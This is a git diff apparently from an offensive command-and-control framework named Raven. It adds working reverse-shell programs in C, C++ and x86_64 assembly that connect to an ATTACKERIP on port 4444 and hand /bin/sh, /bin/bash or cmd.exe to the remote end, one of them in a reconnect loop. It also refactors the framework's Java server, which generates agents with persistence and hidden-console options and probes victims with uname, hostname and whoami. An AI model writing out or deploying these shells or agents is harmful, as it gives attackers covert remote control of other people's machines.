+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
+ CLOSESOCKET(s);
+ std::cout << "[!] server seems down. reconnecting..." << std::endl;
+ SLEEP(5000);
+ continue;
+ }
+
+ std::cout << "[+] connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl;
+
+ pid_t pid = fork();
+ if (pid == 0) {
+ dup2(s, 0);
+ dup2(s, 1);
+ dup2(s, 2);
+ execl("/bin/sh", "sh", (char*)NULL);
+ return 0;
+ } else if (pid > 0) {
+ int status;
+ waitpid(pid, &status, 0);
+ }
+
+ CLOSESOCKET(s);
+#endif
+ std::cout << "[!] server seems down. reconnecting..." << std::endl;
+ SLEEP(5000);
+ }
+
+#if defined(_WIN32) || defined(WIN32)
+ WSACleanup();
+#endif
+ return 0;
+}
diff --git a/shell/shell.asm b/shell/shell.asm
new file mode 100644
index 0000000..1817871
--- /dev/null
+++ b/shell/shell.asm
@@ -0,0 +1,142 @@
+; ASSEMBLY REVERSE SHELL SCRIPT
+; AUTHOR: MatrixTM26
+; TARGET: LINUX x86_64 (ELF64 BIT)
+; compile:
+; nasm -f elf64 shell.asm -o shell_asm_out.o
+; gcc shell_asm_out.o -o shell_asm -no-pie -lc
+
+section .data
+ ATTACKERIP db "127.0.0.1", 0
+ ATTACKERPORT dw 4444
+ binsh db "/bin/sh", 0
+ shstr db "sh", 0
+ msg_down db "[!] server seems down. reconnecting...", 10, 0
+ msg_down_len equ $ - msg_down
+ msg_connected db "[+] connected to 127.0.0.1:25000", 10, 0
+ msg_conn_len equ $ - msg_connected
+
+section .bss
+ addr resb 16
+ s resd 1
+ pid resd 1
+ status resd 1
+
+section .text
+ global _start
+
+ extern socket
+ extern connect
+ extern close
+ extern dup2
+ extern execl
+ extern fork
+ extern waitpid
+ extern write
+ extern usleep
+ extern htons
+ extern inet_addr
+
+_start:
+.loop:
+ mov edi, 2
+ mov esi, 1
+ xor edx, edx
+ xor eax, eax
+ call socket
+ test eax, eax
+ js .server_down
+ mov [s], eax
+
+ mov word [addr], 2
+
+ movzx edi, word [ATTACKERPORT]
+ xor eax, eax
+ call htons
+ mov word [addr+2], ax
+
+ lea rdi, [ATTACKERIP]
+ xor eax, eax
+ call inet_addr
+ mov dword [addr+4], eax
+
+ mov qword [addr+8], 0
+
+ mov edi, [s]
+ lea rsi, [addr]
+ mov edx, 16
+ xor eax, eax
+ call connect
+ test eax, eax
+ js .close_and_reconnect
+
+ mov edi, 1
+ lea rsi, [msg_connected]
+ mov edx, msg_conn_len - 1
+ xor eax, eax
+ call write
+
+ xor eax, eax
+ call fork
+ mov [pid], eax
+ test eax, eax
+ jz .child_process
+ js .close_and_reconnect
+ jmp .parent_process
+
+.child_process:
+ mov edi, [s]
+ xor esi, esi
+ xor eax, eax
+ call dup2
+
+ mov edi, [s]
+ mov esi, 1
+ xor eax, eax
+ call dup2
+
+ mov edi, [s]
+ mov esi, 2
+ xor eax, eax
+ call dup2
+
+ lea rdi, [binsh]
+ lea rsi, [shstr]
+ xor rdx, rdx
+ xor eax, eax
+ call execl
+
+ mov eax, 60
+ mov edi, 1
+ syscall
+
+.parent_process:
+ mov edi, [pid]
+ lea rsi, [status]
+ xor edx, edx
+ xor eax, eax
+ call waitpid
+
+ mov edi, [s]
+ xor eax, eax
+ call close
+
+ jmp .reconnect_msg
+
+.close_and_reconnect:
+ mov edi, [s]
+ xor eax, eax
+ call close
+
+.server_down:
+.reconnect_msg:
+ mov edi, 1
+ lea rsi, [msg_down]
+ mov edx, msg_down_len - 1
+ xor eax, eax
+ call write
+
+ mov edi, 5000000
+ xor eax, eax
+ call usleep
+
+ jmp .loop
\ No newline at end of file
diff --git a/shell/shell.c b/shell/shell.c
new file mode 100644
index 0000000..a0d6e15
--- /dev/null
+++ b/shell/shell.c
@@ -0,0 +1,83 @@
+#include
+#include
+
+#if defined(_WIN32) || defined(WIN32)
+ #include
+ #include
+ #pragma comment(lib, "ws2_32.lib")
+ #define CLOSESOCKET closesocket
+ typedef SOCKET SOCKETTYPE;
+#else
+ #include
+ #include
+ #include
+ #define CLOSESOCKET close
+ typedef int SOCKETTYPE;
+#endif
+
+const char* ATTACKERIP = "127.0.0.1";
+const int ATTACKERPORT = 4444;
+
+int main() {
+#if defined(_WIN32) || defined(WIN32)
+ WSADATA wsaData;
+ if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1;
+
+ SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
+ if (s == INVALID_SOCKET) return 1;
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
+ WSACleanup();
+ return 1;
+ }
+
+ printf("Connected to %s:%d\n", ATTACKERIP, ATTACKERPORT);
+
+ STARTUPINFO si;
+ PROCESS_INFORMATION pi;
+ memset(&si, 0, sizeof(si));
+ si.cb = sizeof(si);
+ si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+ si.hStdInput = (HANDLE)s;
+ si.hStdOutput = (HANDLE)s;
+ si.hStdError = (HANDLE)s;
+
+ char cmd[] = "cmd.exe";
+ if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
+ WaitForSingleObject(pi.hProcess, INFINITE);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+#else
+ int s = socket(AF_INET, SOCK_STREAM, 0);
+ if (s < 0) return 1;
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) return 1;
+
+ printf("Connected to %s:%d\n", ATTACKERIP, ATTACKERPORT);
+
+ dup2(s, 0);
+ dup2(s, 1);
+ dup2(s, 2);
+
+ const char* path = "/bin/bash";
+ char* args[] = {(char*)path, NULL};
+ execve(path, args, NULL);
+#endif
+
+ CLOSESOCKET(s);
+#if defined(_WIN32) || defined(WIN32)
+ WSACleanup();
+#endif
+ return 0;
+}
diff --git a/shell/shell.cpp b/shell/shell.cpp
new file mode 100644
index 0000000..9ddcd5d
--- /dev/null
+++ b/shell/shell.cpp
@@ -0,0 +1,81 @@
+#include
+#include
+
+#if defined(_WIN32) || defined(WIN32)
+ #include
+ #include
+ #pragma comment(lib, "ws2_32.lib")
+ #define CLOSESOCKET closesocket
+ typedef SOCKET SOCKETTYPE;
+#else
+ #include
+ #include
+ #include
+ #define CLOSESOCKET close
+ typedef int SOCKETTYPE;
+#endif
+
+const char* ATTACKERIP = "127.0.0.1";
+const int ATTACKERPORT = 4444;
+
+int main() {
+#if defined(_WIN32) || defined(WIN32)
+ WSADATA wsaData;
+ if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return 1;
+
+ SOCKETTYPE s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
+ if (s == INVALID_SOCKET) return 1;
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (WSAConnect(s, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
+ WSACleanup();
+ return 1;
+ }
+
+ std::cout << "Connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl;
+
+ STARTUPINFO si;
+ PROCESS_INFORMATION pi;
+ memset(&si, 0, sizeof(si));
+ si.cb = sizeof(si);
+ si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+ si.hStdInput = (HANDLE)s;
+ si.hStdOutput = (HANDLE)s;
+ si.hStdError = (HANDLE)s;
+
+ char cmd[] = "cmd.exe";
+ if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
+ WaitForSingleObject(pi.hProcess, INFINITE);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+#else
+ int s = socket(AF_INET, SOCK_STREAM, 0);
+ if (s < 0) return 1;
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_port = htons(ATTACKERPORT);
+ addr.sin_addr.s_addr = inet_addr(ATTACKERIP);
+
+ if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) return 1;
+
+ std::cout << "Connected to " << ATTACKERIP << ":" << ATTACKERPORT << std::endl;
+
+ dup2(s, 0);
+ dup2(s, 1);
+ dup2(s, 2);
+
+ execl("/bin/sh", "sh", (char*)NULL);
+#endif
+
+ CLOSESOCKET(s);
+#if defined(_WIN32) || defined(WIN32)
+ WSACleanup();
+#endif
+ return 0;
+}
diff --git a/src/main/java/com/raven/Start.java b/src/main/java/com/raven/Start.java
index c712338..fae17eb 100644
--- a/src/main/java/com/raven/Start.java
+++ b/src/main/java/com/raven/Start.java
@@ -5,11 +5,11 @@
import com.raven.core.db.TeamDatabase.OperatorRole;
import com.raven.core.output.Logger;
import com.raven.core.server.ListenerMode;
-import com.raven.iface.CLI;
-import com.raven.iface.GUI;
-import com.raven.iface.TeamServer;
-import com.raven.iface.WebApp;
-import com.raven.iface.banner.TBanner;
+import com.raven.interfaces.CLI.CLI;
+import com.raven.interfaces.GUI.GUI;
+import com.raven.interfaces.APP.WebApp;
+import com.raven.interfaces.TeamServer;
+import com.raven.interfaces.banner.TBanner;
import com.raven.utils.Helper;
import com.raven.utils.ServerConfig;
import com.raven.utils.SystemHelper;
@@ -28,54 +28,54 @@ public static void main(String[] Args) {
}
private static void ProcessArgs(List Args) {
- if (Args.contains("-h") || Args.contains("--help")) {
+ if (Args.contains("-h") || Args.contains("-help")) {
Helper.PrintHelp();
return;
}
- if (Args.contains("-i") || Args.contains("--init-certs")) {
+ if (Args.contains("-i") || Args.contains("-init-certs")) {
ShowBanner();
- InitCertificates(Helper.Arg(Args, "-s", "--server", Config.GetServerHost()));
+ InitCertificates(Helper.Arg(Args, "-s", "-server", Config.GetServerHost()));
return;
}
- String GenAgent = Helper.Arg(Args, "-a", "--agent", null);
+ String GenAgent = Helper.Arg(Args, "-a", "-agent", null);
if (GenAgent != null) {
ShowBanner();
GenerateAgent(GenAgent, Args);
return;
}
- if (Args.contains("-m") || Args.contains("--multi")) {
+ if (Args.contains("-m") || Args.contains("-gen-multi")) {
ShowBanner();
GenerateMultiAgent(Args);
return;
}
- if (Args.contains("-l") || Args.contains("--list")) {
+ if (Args.contains("-l") || Args.contains("-list")) {
ShowBanner();
ListAgents();
return;
}
- String Revoke = Helper.Arg(Args, "-r", "--revoke", null);
+ String Revoke = Helper.Arg(Args, "-r", "-revoke", null);
if (Revoke != null) {
ShowBanner();
RevokeAgent(Revoke);
return;
}
- if (Args.contains("-AO") || Args.contains("--add-operator")) {
+ if (Args.contains("-AO") || Args.contains("-add-operator")) {
ShowBanner();
HandleAddOperator(Args);
return;
}
- if (Args.contains("-RO") || Args.contains("--remove-operator")) {
+ if (Args.contains("-RO") || Args.contains("-remove-operator")) {
ShowBanner();
HandleRemoveOperator(Args);
return;
}
- if (Args.contains("-OP") || Args.contains("--operator-permission")) {
+ if (Args.contains("-OP") || Args.contains("-operator-permission")) {
ShowBanner();
HandleOperatorPermission(Args);
return;
@@ -83,18 +83,18 @@ private static void ProcessArgs(List Args) {
ShowBanner();
- String Host = Helper.Arg(Args, "-s", "--host", Config.GetServerHost());
- int Port = Helper.ParseInt(Helper.Arg(Args, "-p", "--port", String.valueOf(Config.GetServerPort())), Config.GetServerPort());
+ String Host = Helper.Arg(Args, "-s", "-host", Config.GetServerHost());
+ int Port = Helper.ParseInt(Helper.Arg(Args, "-p", "-port", String.valueOf(Config.GetServerPort())), Config.GetServerPort());
ListenerMode Mode = ResolveMode(Args);
if (Mode.RequiresTls() && !Files.exists(Paths.get(Config.GetKeystorePath()))) {
Logger.Error("Keystore not found: " + Config.GetKeystorePath());
- Logger.Warn("Run: java -jar raven.jar -i");
+ Logger.Warn("Run: java -jar target/raven-3.0.0.jar -i");
System.exit(1);
}
String Interface = ResolveInterface(Args);
- Logger.Info("Mode: " + Mode.name() + " | Interface: " + Interface.toUpperCase());
+ Logger.Info("Mode: " + Mode.name() + " Interface: " + Interface.toUpperCase());
StartInterface(Host, Port, Mode, Interface, Args);
}
@@ -104,24 +104,24 @@ private static void ShowBanner() {
}
private static ListenerMode ResolveMode(List Args) {
- if (Args.contains("--fmtls") || Args.contains("-F")) return ListenerMode.FMTLS;
- if (Args.contains("--mtls") || Args.contains("-T")) return ListenerMode.MTLS;
- if (Args.contains("--tls")) return ListenerMode.TLS;
- if (Args.contains("--https")) return ListenerMode.HTTPS;
- if (Args.contains("--http")) return ListenerMode.HTTP;
- if (Args.contains("--raw") || Args.contains("-R")) return ListenerMode.RAW;
- if (Args.contains("--multi") || Args.contains("-M")) return ListenerMode.MULTI;
+ if (Args.contains("-fmtls") || Args.contains("-F")) return ListenerMode.FMTLS;
+ if (Args.contains("-mtls") || Args.contains("-T")) return ListenerMode.MTLS;
+ if (Args.contains("-tls")) return ListenerMode.TLS;
+ if (Args.contains("-https")) return ListenerMode.HTTPS;
+ if (Args.contains("-http")) return ListenerMode.HTTP;
+ if (Args.contains("-raw") || Args.contains("-R")) return ListenerMode.RAW;
+ if (Args.contains("-multi") || Args.contains("-M")) return ListenerMode.MULTI;
return ListenerMode.FromString(Config.GetServerMode());
}
private static String ResolveInterface(List Args) {
- if (Args.contains("--teamclient") || Args.contains("-TC")) return "teamclient";
- if (Args.contains("--teamserver-cli") || Args.contains("-TSC")) return "teamserver-cli";
- if (Args.contains("--teamserver-web") || Args.contains("-TSW")) return "teamserver-web";
- if (Args.contains("--teamserver-gui") || Args.contains("-TSG")) return "teamserver-gui";
- if (Args.contains("--cli-mode") || Args.contains("-C")) return "cli";
- if (Args.contains("--gui-mode") || Args.contains("-G")) return "gui";
- if (Args.contains("--web-mode") || Args.contains("-W")) return "web";
+ if (Args.contains("-teamclient") || Args.contains("-TC")) return "teamclient";
+ if (Args.contains("-teamserver-cli") || Args.contains("-TSC")) return "teamserver-cli";
+ if (Args.contains("-teamserver-web") || Args.contains("-TSW")) return "teamserver-web";
+ if (Args.contains("-teamserver-gui") || Args.contains("-TSG")) return "teamserver-gui";
+ if (Args.contains("-cli-mode") || Args.contains("-C")) return "cli";
+ if (Args.contains("-gui-mode") || Args.contains("-G")) return "gui";
+ if (Args.contains("-web-mode") || Args.contains("-W")) return "web";
return Config.GetInterfaceMode();
}
@@ -130,15 +130,15 @@ private static void StartInterface(String Host, int Port, ListenerMode Mode, Str
switch (Interface) {
case "cli" -> new CLI(Config).Run(Host, Port, Mode);
case "teamclient" -> {
- String TsHost = Helper.Arg(Args, "-ts", "--ts-host", "127.0.0.1");
- int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "--ts-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort());
- new com.raven.iface.TeamClient(Config, TsHost, TsPort).Run();
+ String TsHost = Helper.Arg(Args, "-ts", "-teamserver-host", "127.0.0.1");
+ int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "-teamserver-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort());
+ new com.raven.interfaces.TeamClient(Config, TsHost, TsPort).Run();
}
case "teamserver-cli" -> new CLI(Config).RunTeamServer(Host, Port, Mode);
case "gui" -> GUI.Launch(Config);
case "teamserver-gui" -> GUI.LaunchTeamServer(Config);
case "teamserver-web" -> {
- int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "--teamserver-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort());
+ int TsPort = Helper.ParseInt(Helper.Arg(Args, "-tp", "-teamserver-port", String.valueOf(Config.GetTeamServerPort())), Config.GetTeamServerPort());
new TeamServer(Config, Mode).Run(Config.GetWebHost(), TsPort);
Thread.currentThread().join();
}
@@ -160,7 +160,7 @@ private static void InitCertificates(String Host) {
CertificateManager Mgr = new CertificateManager(Config);
Mgr.Initialize(Host);
Logger.Success("Certificates stored in: " + Paths.get(Config.GetKeystorePath()).getParent());
- Logger.Info("Next: java -jar raven.jar -a ");
+ Logger.Info("Next: java -jar target/raven-3.0.0.jar -a ");
} catch (Exception E) {
Logger.Error("Certificate init failed: " + E.getMessage());
}
@@ -169,12 +169,12 @@ private static void InitCertificates(String Host) {
private static void GenerateAgent(String AgentId, List Args) {
try {
AssertCaExists();
- String Host = Helper.Arg(Args, "-ah", "--agent-host", Config.GetServerHost());
- int Port = Helper.ParseInt(Helper.Arg(Args, "-ap", "--agent-port", String.valueOf(Config.GetServerPort())), Config.GetServerPort());
- boolean Mtls = Args.contains("-am") || Args.contains("--agent-mtls");
- boolean Pers = Args.contains("-ps") || Args.contains("--persistent");
- boolean Hide = Args.contains("-hc") || Args.contains("--hide-console");
- String Lang = Helper.Arg(Args, "-al", "--agent-lang", "java");
+ String Host = Helper.Arg(Args, "-ah", "-agent-host", Config.GetServerHost());
+ int Port = Helper.ParseInt(Helper.Arg(Args, "-ap", "-agent-port", String.valueOf(Config.GetServerPort())), Config.GetServerPort());
+ boolean Mtls = Args.contains("-am") || Args.contains("-agent-mtls");
+ boolean Pers = Args.contains("-ps") || Args.contains("-persistent");
+ boolean Hide = Args.contains("-hc") || Args.contains("-hide-console");
+ String Lang = Helper.Arg(Args, "-al", "-agent-lang", "java");
CertificateManager Mgr = new CertificateManager(Config);
Mgr.Initialize(Host);
DeployAgent(AgentId, Mgr.CreateAgentCertificate(AgentId), Host, Port, Mtls, Pers, Hide, Lang);
@@ -184,8 +184,8 @@ private static void GenerateAgent(String AgentId, List Args) {
}
private static void GenerateMultiAgent(List Args) {
- int Count = Helper.ParseInt(Helper.Arg(Args, "-c", "--count", "10"), 10);
- String Prefix = Helper.Arg(Args, "-u", "--prefix", "agent");
+ int Count = Helper.ParseInt(Helper.Arg(Args, "-c", "-count", "10"), 10);
+ String Prefix = Helper.Arg(Args, "-u", "-prefix", "agent");
Logger.Info("Generating " + Count + " agents — prefix: " + Prefix);
int Ok = 0;
for (int I = 1; I <= Count; I++) {
@@ -247,7 +247,7 @@ private static void DeployAgent(String Id, String CertPath, String Host, int Por
W.println("Lang : " + LangNorm.toUpperCase());
W.println("Files : agent.p12 ca.p12 " + com.raven.utils.AgentSourceGen.Filename(LangNorm));
W.println();
- W.println("--- HOW TO RUN ---");
+ W.println("-- HOW TO RUN --");
switch (LangNorm) {
case "java" -> {
W.println(" javac " + com.raven.utils.AgentSourceGen.Filename(LangNorm));
@@ -269,11 +269,11 @@ private static void DeployAgent(String Id, String CertPath, String Host, int Por
}
private static void HandleAddOperator(List Args) {
- String User = Helper.Arg(Args, "-u", "--username", null);
- String Pass = Helper.Arg(Args, "-pw", "--password", null);
- String Role = Helper.Arg(Args, "-r", "--role", "OPERATOR");
+ String User = Helper.Arg(Args, "-u", "-username", null);
+ String Pass = Helper.Arg(Args, "-pw", "-password", null);
+ String Role = Helper.Arg(Args, "-r", "-role", "OPERATOR");
if (User == null || Pass == null) {
- Logger.Error("Usage: -AO | --add-operator -u | --username -pw | --password [-r | --role ROLE]");
+ Logger.Error("Usage: -AO | -add-operator -u | -username -pw | -password [-r | -role ROLE]");
return;
}
if (Pass.length() < 8) {
@@ -288,9 +288,9 @@ private static void HandleAddOperator(List Args) {
}
private static void HandleRemoveOperator(List Args) {
- String User = Helper.Arg(Args, "-u", "--username", null);
+ String User = Helper.Arg(Args, "-u", "-username", null);
if (User == null) {
- Logger.Error("Usage: -RO | --remove-operator -u | --username ");
+ Logger.Error("Usage: -RO | -remove-operator -u | -username ");
return;
}
if (User.equals("admin")) {
@@ -304,15 +304,15 @@ private static void HandleRemoveOperator(List Args) {
}
private static void HandleOperatorPermission(List Args) {
- String User = Helper.Arg(Args, "-u", "--username", null);
- String Role = Helper.Arg(Args, "-r", "--role", null);
+ String User = Helper.Arg(Args, "-u", "-username", null);
+ String Role = Helper.Arg(Args, "-r", "-role", null);
if (User == null && Role == null) {
Logger.Info("Available roles:");
for (OperatorRole R : OperatorRole.values()) Logger.Info(" " + R.name() + " — " + R.PermissionString());
return;
}
if (User == null || Role == null) {
- Logger.Error("Usage: -OP | --operator-permission -u | --username -r | --role ");
+ Logger.Error("Usage: -OP | -operator-permission -u | -username -r | -role ");
return;
}
if (User.equals("admin")) {
@@ -329,7 +329,7 @@ private static void HandleOperatorPermission(List Args) {
private static void AssertCaExists() {
if (!Files.exists(Paths.get(Config.GetCaPath()))) {
Logger.Error("CA not found: " + Config.GetCaPath());
- Logger.Warn("Run: java -jar raven.jar -i");
+ Logger.Warn("Run: java -jar target/raven-3.0.0.jar -i");
System.exit(1);
}
}
diff --git a/src/main/java/com/raven/core/output/Logger.java b/src/main/java/com/raven/core/output/Logger.java
index dde3d34..fa9f2ad 100644
--- a/src/main/java/com/raven/core/output/Logger.java
+++ b/src/main/java/com/raven/core/output/Logger.java
@@ -15,7 +15,7 @@ public enum Level {
DEBUG,
INFO,
WARN,
- ERROR,
+ ERROR
}
private static final DateTimeFormatter TimeFmt = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
@@ -30,7 +30,7 @@ public enum Level {
private Logger() {}
public static void Configure(String Level, boolean IsVerbose, boolean EnableFile, String FilePath, int MaxEnt) {
- CurrentLevel = parseLevel(Level);
+ CurrentLevel = ParseLevel(Level);
Verbose = IsVerbose;
FileEnabled = EnableFile;
LogFilePath = FilePath;
@@ -38,9 +38,9 @@ public static void Configure(String Level, boolean IsVerbose, boolean EnableFile
if (EnableFile) StartFileWriter(FilePath);
}
- private static Level parseLevel(String S) {
+ private static Level ParseLevel(String LogLevel) {
try {
- return Level.valueOf(S.toUpperCase());
+ return Level.valueOf(LogLevel.toUpperCase());
} catch (Exception E) {
return Level.INFO;
}
@@ -51,12 +51,12 @@ private static void StartFileWriter(String Path) {
Files.createDirectories(Paths.get(Path).getParent());
} catch (Exception Ignored) {}
WriterThread = new Thread(() -> {
- try (BufferedWriter W = new BufferedWriter(new FileWriter(Path, true))) {
+ try (BufferedWriter StrObject = new BufferedWriter(new FileWriter(Path, true))) {
while (!Thread.currentThread().isInterrupted()) {
try {
- W.write(FileQueue.take());
- W.newLine();
- W.flush();
+ StrObject.write(FileQueue.take());
+ StrObject.newLine();
+ StrObject.flush();
} catch (InterruptedException E) {
Thread.currentThread().interrupt();
break;
@@ -74,33 +74,33 @@ private static String Timestamp() {
return LocalDateTime.now().format(TimeFmt);
}
- private static void Emit(Level MsgLevel, String PlainTag, String ColorCode, String Msg) {
- if (MsgLevel.ordinal() < CurrentLevel.ordinal()) return;
- String Ts = Timestamp();
- String PlainLine = " [" + Ts + "] [" + PlainTag + "] " + Msg;
- String ColorLine = AnsiColor.White + " [" + ColorCode + PlainTag + AnsiColor.White + "] " + AnsiColor.Dim + Msg + AnsiColor.Reset;
+ private static void Emit(Level MessageLevel, String PlainTag, String ColorCode, String Message) {
+ if (MessageLevel.ordinal() < CurrentLevel.ordinal()) return;
+ String Times = Timestamp();
+ String PlainLine = " [" + Times + "] [" + PlainTag + "] " + Message;
+ String ColorLine = AnsiColor.White + " [" + ColorCode + PlainTag + AnsiColor.White + "] " + AnsiColor.Dim + Message + AnsiColor.Reset;
System.out.println(ColorLine);
if (FileEnabled) FileQueue.offer(PlainLine);
}
- public static void Info(String Msg) {
- Emit(Level.INFO, "INFO", AnsiColor.Cyan, Msg);
+ public static void Info(String Message) {
+ Emit(Level.INFO, "INFO", AnsiColor.Cyan, Message);
}
- public static void Warn(String Msg) {
- Emit(Level.WARN, "WARN", AnsiColor.Orange, Msg);
+ public static void Warn(String Message) {
+ Emit(Level.WARN, "WARN", AnsiColor.Orange, Message);
}
- public static void Error(String Msg) {
- Emit(Level.ERROR, "ERROR", AnsiColor.BrightRed, Msg);
+ public static void Error(String Message) {
+ Emit(Level.ERROR, "ERROR", AnsiColor.BrightRed, Message);
}
- public static void Debug(String Msg) {
- Emit(Level.DEBUG, "DEBUG", AnsiColor.Magenta, Msg);
+ public static void Debug(String Message) {
+ Emit(Level.DEBUG, "DEBUG", AnsiColor.Magenta, Message);
}
- public static void Success(String Msg) {
- Emit(Level.INFO, "OK", AnsiColor.Green, Msg);
+ public static void Success(String Message) {
+ Emit(Level.INFO, "OK", AnsiColor.Green, Message);
}
public static void Custom(String Text) {
@@ -120,25 +120,25 @@ public static void Custom(String Text, int DelayMs) {
Custom(Text, (long) DelayMs);
}
- public static void Verbose(String Msg) {
+ public static void Verbose(String Message) {
if (!Verbose) return;
- Emit(Level.VERBOSE, "TRACE", AnsiColor.Dim, Msg);
+ Emit(Level.VERBOSE, "TRACE", AnsiColor.Dim, Message);
}
- public static void Messages(String Msg) {
- Info(Msg);
+ public static void Messages(String Message) {
+ Info(Message);
}
- public static void Warnings(String Msg) {
- Warn(Msg);
+ public static void Warnings(String Message) {
+ Warn(Message);
}
- public static void ErrorMsg(String Msg) {
- Error(Msg);
+ public static void ErrorMessage(String Message) {
+ Error(Message);
}
- public static void Warning(String Msg) {
- Warn(Msg);
+ public static void Warning(String Message) {
+ Warn(Message);
}
public static void Shutdown() {
diff --git a/src/main/java/com/raven/core/server/BaseServer.java b/src/main/java/com/raven/core/server/BaseServer.java
index dd76ea0..3a98a10 100644
--- a/src/main/java/com/raven/core/server/BaseServer.java
+++ b/src/main/java/com/raven/core/server/BaseServer.java
@@ -65,7 +65,7 @@ public enum ConnectionType {
RAVEN,
RAW,
HTTP,
- UNKNOWN,
+ UNKNOWN
}
public static final class DetectionResult {
@@ -110,7 +110,7 @@ protected DetectionResult Detect(Socket Sock) throws IOException {
if (Str.startsWith("{")) Type = ConnectionType.RAVEN;
else if (Str.startsWith("GET ") || Str.startsWith("POST ") || Str.startsWith("PUT ") || Str.startsWith("HEAD ")) Type = ConnectionType.HTTP;
else Type = ConnectionType.RAW;
- Logger.Verbose("Detect [" + Sock.getRemoteSocketAddress() + "] → " + Type + " peek=" + Str.substring(0, Math.min(Str.length(), 12)));
+ Logger.Verbose("Detect [" + Sock.getRemoteSocketAddress() + "] > " + Type + " peek=" + Str.substring(0, Math.min(Str.length(), 12)));
return new DetectionResult(Type, PbIn, P);
}
@@ -144,7 +144,7 @@ else if (!InStr) {
}
String Json = Buf.toString("UTF-8").trim();
- if (!Json.startsWith("{")) throw new IOException("Expected JSON sysinfo, got: " + (Json.length() > 64 ? Json.substring(0, 64) + "…" : Json));
+ if (!Json.startsWith("{")) throw new IOException("expected JSON sysinfo, got: " + (Json.length() > 64 ? Json.substring(0, 64) + "…" : Json));
@SuppressWarnings("unchecked")
Map Info = Gson.fromJson(Json, Map.class);
@@ -152,7 +152,7 @@ else if (!InStr) {
Out.write((Crypto.GetKeyAsBase64Url() + "\n").getBytes("UTF-8"));
Out.flush();
- Logger.Verbose("RAVEN handshake OK — " + Info.get("hostname") + " key=" + Crypto.GetKeyAsBase64Url().substring(0, 8) + "…");
+ Logger.Verbose("RAVEN handshake OK - " + Info.get("hostname") + " key=" + Crypto.GetKeyAsBase64Url().substring(0, 8) + "…");
return Info;
}
@@ -165,8 +165,8 @@ protected Map RawHandshake(InputStream In, OutputStream Out, Str
Info.put("agentip", RemoteAddr.replaceAll("/|:.*", ""));
Info.put("shellmode", "Raw");
- String Probe = "echo TCID:$(uname -s 2>/dev/null || echo WIN):" + "$(hostname 2>/dev/null):$(whoami 2>/dev/null):$(uname -m 2>/dev/null)\n";
try {
+ String Probe = "echo TCID:$(uname -s 2>/dev/null || echo WIN):" + "$(hostname 2>/dev/null):$(whoami 2>/dev/null):$(uname -m 2>/dev/null)\n";
Out.write(Probe.getBytes("UTF-8"));
Out.flush();
StringBuilder Resp = new StringBuilder();
@@ -194,9 +194,9 @@ protected Map RawHandshake(InputStream In, OutputStream Out, Str
}
}
} catch (Exception E) {
- Logger.Warn("Raw probe failed (session still registered): " + E.getMessage());
+ Logger.Warn("raw probe failed (session still registered): " + E.getMessage());
}
- Logger.Verbose("Raw handshake — host=" + Info.get("hostname") + " os=" + Info.get("os"));
+ Logger.Verbose("Raw handshake - host=" + Info.get("hostname") + " os=" + Info.get("os"));
return Info;
}
@@ -232,7 +232,7 @@ protected void MonitorSession(int SessionId, Socket Sock, boolean IsRaw) {
Thread.currentThread().interrupt();
break;
} catch (Exception E) {
- Logger.Verbose("Session-" + SessionId + " disconnected: " + E.getMessage());
+ Logger.Verbose("session-" + SessionId + " disconnected: " + E.getMessage());
Events.Trigger(EventType.AgentDisconnected, EventManager.BuildData("ID", SessionId, "Reason", E.getMessage()));
RemoveSession(SessionId);
break;
diff --git a/src/main/java/com/raven/core/server/RavenServer.java b/src/main/java/com/raven/core/server/RavenServer.java
index d2510ee..a7fa5ce 100644
--- a/src/main/java/com/raven/core/server/RavenServer.java
+++ b/src/main/java/com/raven/core/server/RavenServer.java
@@ -41,11 +41,11 @@ public boolean[] StartServer() {
try {
OpenSockets();
Running = true;
- Logger.Info("Server started — " + Host + ":" + Port + " [" + Mode.name() + "]");
+ Logger.Info("server started on " + Host + ":" + Port + ". mode: " + Mode.name());
Events.Trigger(EventType.ServerStarted, EventManager.BuildData("Host", Host, "Port", Port, "Mode", Mode.name()));
return new boolean[] { true };
} catch (Exception E) {
- Logger.Error("Server start failed [" + Mode + "]: " + E.getMessage());
